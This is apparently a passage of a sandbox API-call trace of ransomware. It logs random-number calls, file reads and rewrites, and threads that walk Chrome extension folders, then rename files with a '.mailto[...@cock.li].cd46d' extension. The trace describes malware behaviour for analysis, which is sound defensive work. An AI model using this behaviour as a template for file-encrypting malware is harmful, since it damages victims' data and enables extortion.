Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x2a076f7c [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x25ff2137 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x540fa9e0 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x688bef20 [0187.280] ReadFile (hFile=0x1118, lpBuffer=0x133e88d0, nNumberOfBytesToRead=0x11e, lpNumberOfBytesRead=0xc44f7c0, lpOverlapped=0x0) [0187.280] SetFilePointerEx (in: hFile=0x1118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.280] WriteFile (in: hFile=0x1118, lpBuffer=0x133f50d8*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0xc44f7bc, lpOverlapped=0x0 | out: lpBuffer=0x133f50d8*, lpNumberOfBytesWritten=0xc44f7bc*=0x11e, lpOverlapped=0x0) returned 1 [0190.461] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee48 [0190.461] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af168 [0190.461] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af168) returned 1 [0190.461] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x133f50d8) returned 1 [0190.461] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x133e88d0) returned 1 [0190.482] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e90e8) returned 1 [0190.482] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d28f0) returned 1 [0190.482] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d87a8 [0190.482] SetFilePointerEx (in: hFile=0x1118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.482] WriteFile (in: hFile=0x1118, lpBuffer=0x12cf68a0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xc44f824, lpOverlapped=0x0 | out: lpBuffer=0x12cf68a0*, lpNumberOfBytesWritten=0xc44f824*=0x10b, lpOverlapped=0x0) returned 1 [0191.608] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf68a0) returned 1 [0191.608] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88c8) returned 1 [0191.608] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af168) returned 1 [0191.608] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d87a8) returned 1 [0191.608] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee48) returned 1 [0191.608] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909528) returned 1 [0191.608] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909a00) returned 1 [0191.608] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909690) returned 1 [0191.608] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x12cf8360 [0191.609] wcscpy (in: _Dest=0x12cf8360, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json" [0191.609] wcscat (in: _Dest=0x12cf8360, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0191.609] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xc44f7dc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0191.609] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x934630 Thread: id = 7466 os_tid = 0x1da8 [0181.860] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0x13390088 [0181.860] wcscpy (in: _Dest=0x13390088, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja" [0181.860] wcscat (in: _Dest=0x13390088, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\" [0181.860] wcscat (in: _Dest=0x13390088, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\*" [0181.860] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x96a1d8 [0181.860] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\*", lpFindFileData=0x96a1d8 | out: lpFindFileData=0x96a1d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bae00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834bae00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9422b0 [0182.430] wcscmp (_String1=".", _String2=".") returned 0 [0182.430] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x96a1d8 | out: lpFindFileData=0x96a1d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bae00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834bae00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.430] wcscmp (_String1="..", _String2=".") returned 1 [0182.430] wcscmp (_String1="..", _String2="..") returned 0 [0182.430] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x96a1d8 | out: lpFindFileData=0x96a1d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834bae00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bd510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x447a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0182.430] wcscmp (_String1="messages.json", _String2=".") returned 1 [0182.430] wcscmp (_String1="messages.json", _String2="..") returned 1 [0182.430] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x941a70 [0182.430] wcscpy (in: _Dest=0x941a70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja" [0182.430] wcscat (in: _Dest=0x941a70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\" [0182.430] wcscat (in: _Dest=0x941a70, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json" [0185.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x941a70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa80 [0185.884] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x96a1d8 | out: lpFindFileData=0x96a1d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834bae00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bd510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x447a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0185.884] FindClose (in: hFindFile=0x9422b0 | out: hFindFile=0x9422b0) returned 1 [0185.884] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96a1d8) returned 1 [0185.884] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13390088) returned 1 [0185.884] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1338d320) returned 1 Thread: id = 7467 os_tid = 0x1db0 [0181.861] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0x133901c0 [0181.861] wcscpy (in: _Dest=0x133901c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn" [0181.861] wcscat (in: _Dest=0x133901c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\" [0181.861] wcscat (in: _Dest=0x133901c0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\*" [0181.861] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x99f440 [0181.861] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\*", lpFindFileData=0x99f440 | out: lpFindFileData=0x99f440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c7150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834c7150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9426f0 [0182.431] wcscmp (_String1=".", _String2=".") returned 0 [0182.431] FindNextFileW (in: hFindFile=0x9426f0, lpFindFileData=0x99f440 | out: lpFindFileData=0x99f440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c7150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834c7150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.431] wcscmp (_String1="..", _String2=".") returned 1 [0182.431] wcscmp (_String1="..", _String2="..") returned 0 [0182.431] FindNextFileW (in: hFindFile=0x9426f0, lpFindFileData=0x99f440 | out: lpFindFileData=0x99f440*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834c7150, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c9860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x55a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0182.431] wcscmp (_String1="messages.json", _String2=".") returned 1 [0182.431] wcscmp (_String1="messages.json", _String2="..") returned 1 [0182.431] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0xd4a6868 [0182.431] wcscpy (in: _Dest=0xd4a6868, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn" [0182.431] wcscat (in: _Dest=0xd4a6868, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\" [0182.431] wcscat (in: _Dest=0xd4a6868, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json" [0185.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4a6868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x161c [0185.886] FindNextFileW (in: hFindFile=0x9426f0, lpFindFileData=0x99f440 | out: lpFindFileData=0x99f440*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834c7150, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c9860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x55a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0185.886] FindClose (in: hFindFile=0x9426f0 | out: hFindFile=0x9426f0) returned 1 [0185.886] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99f440) returned 1 [0185.886] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x133901c0) returned 1 [0185.886] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e82e8) returned 1 Thread: id = 7468 os_tid = 0x19ec [0181.862] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0x133902f8 [0181.862] wcscpy (in: _Dest=0x133902f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko" [0181.862] wcscat (in: _Dest=0x133902f8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\" [0181.863] wcscat (in: _Dest=0x133902f8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\*" [0181.863] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x99f6a8 [0181.863] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\*", lpFindFileData=0x99f6a8 | out: lpFindFileData=0x99f6a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ce680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ce680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942bf0 [0182.431] wcscmp (_String1=".", _String2=".") returned 0 [0182.431] FindNextFileW (in: hFindFile=0x942bf0, lpFindFileData=0x99f6a8 | out: lpFindFileData=0x99f6a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ce680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ce680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.432] wcscmp (_String1="..", _String2=".") returned 1 [0182.432] wcscmp (_String1="..", _String2="..") returned 0 [0182.432] FindNextFileW (in: hFindFile=0x942bf0, lpFindFileData=0x99f6a8 | out: lpFindFileData=0x99f6a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ce680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d0d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x403a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0182.432] wcscmp (_String1="messages.json", _String2=".") returned 1 [0182.432] wcscmp (_String1="messages.json", _String2="..") returned 1 [0182.432] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0xd4a69c0 [0182.432] wcscpy (in: _Dest=0xd4a69c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko" [0182.432] wcscat (in: _Dest=0xd4a69c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\" [0182.432] wcscat (in: _Dest=0xd4a69c0, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json" [0184.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4a69c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb78 [0184.397] FindNextFileW (in: hFindFile=0x942bf0, lpFindFileData=0x99f6a8 | out: lpFindFileData=0x99f6a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ce680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d0d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x403a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0184.397] FindClose (in: hFindFile=0x942bf0 | out: hFindFile=0x942bf0) returned 1 [0184.398] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99f6a8) returned 1 [0184.398] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x133902f8) returned 1 [0184.398] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8420) returned 1 Thread: id = 7503 os_tid = 0x1bdc [0182.213] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json")) returned 0x2020 [0183.988] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json", 